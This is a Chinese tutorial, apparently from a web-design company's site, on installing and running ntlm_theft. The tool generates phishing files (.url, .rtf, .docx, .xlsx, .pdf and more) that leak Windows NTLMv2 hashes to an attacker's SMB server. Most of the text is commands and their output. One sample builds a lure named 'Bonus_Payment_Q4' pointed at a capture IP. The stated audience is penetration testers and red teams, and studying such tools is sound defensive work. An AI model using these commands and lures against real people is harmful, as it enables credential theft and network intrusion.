如何使用ntlm_theft生成各种类型的NTLMv2哈希窃取文件

关于ntlm_theft

ntlm_theft是一款基于Python 3开发的开源工具，可以生成21种不同类型的哈希窃取文档。该工具适用于网络钓鱼攻击，可以用于支持外网SMB流量和内部网络环境之中。与基于宏的文档或利用漏洞的文档相比，这些文件类型的好处在于，所有的这些文件都是使用“预期功能”构建的。

创新互联公司2013年成立，是专业互联网技术服务公司，拥有项目成都网站制作、网站设计网站策划，项目实施与项目整合能力。我们以让每一个梦想脱颖而出为使命，1280元西青做网站,已为上家服务,为西青各地企业和个人服务,联系电话:18982081108

使用场景

ntlm_theft主要针对渗透测试人员和红队研究人员设计，可以帮助研究人员对目标公司员工进行内部网络钓鱼，或大规模测试防病毒和电子邮件网关的安全性。如果外网防火墙上允许出站SMB访问，则它也可用于外部网络钓鱼。

工具依赖

ntlm_theft基于Python 3开发，因此我们需要在本地环境安装并配置好Python 3环境，并安装好xlsxwriter：

 
 
 
    
  
  
  
  1. pip3 install xlsxwriter 
    2.

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地：

 
 
 
    
  
  
  
  1. git clone https://github.com/Greenwolf/ntlm_theft.git 
    2.

工具参数

ntlm_theft的运行需要提供四个必要参数，一个输入格式，输入文件或目录，以及基础的运行模式：

  • -g, --generate : 选择生成所有文件或指定文件类型
  • -s, --server : SMB哈希捕捉服务器的IP地址
  • -f, --filename : 不包含后缀的基础文件名，之后可以进行重命名

工具运行

下面给出的工具演示样例中，我们将使用ntlm_theft生成所有文件：

 
 
 
    
  
  
  
  1. # python3 ntlm_theft.py -g all -s 127.0.0.1 -f test 
    2.   
  
  
  2.  
    3.   
  
  
  3. Created: test/test.scf (BROWSE) 
    4.   
  
  
  4.  
    5.   
  
  
  5. Created: test/test-(url).url (BROWSE) 
    6.   
  
  
  6.  
    7.   
  
  
  7. Created: test/test-(icon).url (BROWSE) 
    8.   
  
  
  8.  
    9.   
  
  
  9. Created: test/test.rtf (OPEN) 
    10.   
  
  
  10.  
    11.   
  
  
  11. Created: test/test-(stylesheet).xml (OPEN) 
    12.   
  
  
  12.  
    13.   
  
  
  13. Created: test/test-(fulldocx).xml (OPEN) 
    14.   
  
  
  14.  
    15.   
  
  
  15. Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE) 
    16.   
  
  
  16.  
    17.   
  
  
  17. Created: test/test-(includepicture).docx (OPEN) 
    18.   
  
  
  18.  
    19.   
  
  
  19. Created: test/test-(remotetempl*ate).docx (OPEN) 
    20.   
  
  
  20.  
    21.   
  
  
  21. Created: test/test-(frameset).docx (OPEN) 
    22.   
  
  
  22.  
    23.   
  
  
  23. Created: test/test.m3u (OPEN IN WINDOWS MEDIA PL*AYER ONLY) 
    24.   
  
  
  24.  
    25.   
  
  
  25. Created: test/test.asx (OPEN) 
    26.   
  
  
  26.  
    27.   
  
  
  27. Created: test/test.jnlp (OPEN) 
    28.   
  
  
  28.  
    29.   
  
  
  29. Created: test/test.application (DOWNLOAD AND OPEN) 
    30.   
  
  
  30.  
    31.   
  
  
  31. Created: test/test.pdf (OPEN AND ALLOW) 
    32.   
  
  
  32.  
    33.   
  
  
  33. Created: test/zoom-attack-instructions.txt (PASTE TO CHAT) 
    34.   
  
  
  34.  
    35.   
  
  
  35. Generation Complete. 
    36.

在下面的工具使用样例中，我们将使用ntlm_theft仅生成现代文件：

 
 
 
    
  
  
  
  1. # python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting 
    2.   
  
  
  2.  
    3.   
  
  
  3. Skipping SCF as it does not work on modern Windows 
    4.   
  
  
  4.  
    5.   
  
  
  5. Created: meeting/meeting-(url).url (BROWSE TO FOLDER) 
    6.   
  
  
  6.  
    7.   
  
  
  7. Created: meeting/meeting-(icon).url (BROWSE TO FOLDER) 
    8.   
  
  
  8.  
    9.   
  
  
  9. Created: meeting/meeting.rtf (OPEN) 
    10.   
  
  
  10.  
    11.   
  
  
  11. Created: meeting/meeting-(stylesheet).xml (OPEN) 
    12.   
  
  
  12.  
    13.   
  
  
  13. Created: meeting/meeting-(fulldocx).xml (OPEN) 
    14.   
  
  
  14.  
    15.   
  
  
  15. Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE) 
    16.   
  
  
  16.  
    17.   
  
  
  17. Created: meeting/meeting-(includepicture).docx (OPEN) 
    18.   
  
  
  18.  
    19.   
  
  
  19. Created: meeting/meeting-(remotetempl*ate).docx (OPEN) 
    20.   
  
  
  20.  
    21.   
  
  
  21. Created: meeting/meeting-(frameset).docx (OPEN) 
    22.   
  
  
  22.  
    23.   
  
  
  23. Created: meeting/meeting-(externalcell).xlsx (OPEN) 
    24.   
  
  
  24.  
    25.   
  
  
  25. Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PL*AYER ONLY) 
    26.   
  
  
  26.  
    27.   
  
  
  27. Created: meeting/meeting.asx (OPEN) 
    28.   
  
  
  28.  
    29.   
  
  
  29. Created: meeting/meeting.jnlp (OPEN) 
    30.   
  
  
  30.  
    31.   
  
  
  31. Created: meeting/meeting.application (DOWNLOAD AND OPEN) 
    32.   
  
  
  32.  
    33.   
  
  
  33. Created: meeting/meeting.pdf (OPEN AND ALLOW) 
    34.   
  
  
  34.  
    35.   
  
  
  35. Skipping zoom as it does not work on the latest versions 
    36.   
  
  
  36.  
    37.   
  
  
  37. Skipping Autorun.inf as it does not work on modern Windows 
    38.   
  
  
  38.  
    39.   
  
  
  39. Skipping desktop.ini as it does not work on modern Windows 
    40.   
  
  
  40.  
    41.   
  
  
  41. Generation Complete. 
    42.

在下面的工具使用样例中，我们将使用ntlm_theft仅生成一份xlsx文件：

 
 
 
    
  
  
  
  1. # python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4 
    2.   
  
  
  2.  
    3.   
  
  
  3. Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN) 
    4.   
  
  
  4.  
    5.   
  
  
  5. Generation Complete. 
    6.

工具运行截图

项目地址

ntlm_theft：【GitHub传送门】

网站题目：如何使用ntlm_theft生成各种类型的NTLMv2哈希窃取文件
网页路径：http://www.shufengxianlan.com/qtweb/news48/68348.html

网站建设、网络推广公司-创新互联，是专注品牌与效果的网站制作，网络营销seo公司；服务项目有等

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 创新互联

猜你还喜欢下面的内容

微信公众号知识

各行业网站

广安网站建设　　 　邛崃做网站　　 　犀浦雨棚定制　　 　主机租用　　 　不锈钢防护栏　　 　成都网站建设　　 　广西弘博建站　　 　梦港之夜　　 　微信小程序开发　　 　崇州网站建设　　 　域名注册　　 　小谭建站　　 　网站定制　　 　艾名斯智能　　 　自适应网页设计　　 　路面机械及配件　　 　营销型网站建设　　 　成都西云机房　　 　成都小程序开发　　 　关键词优化排名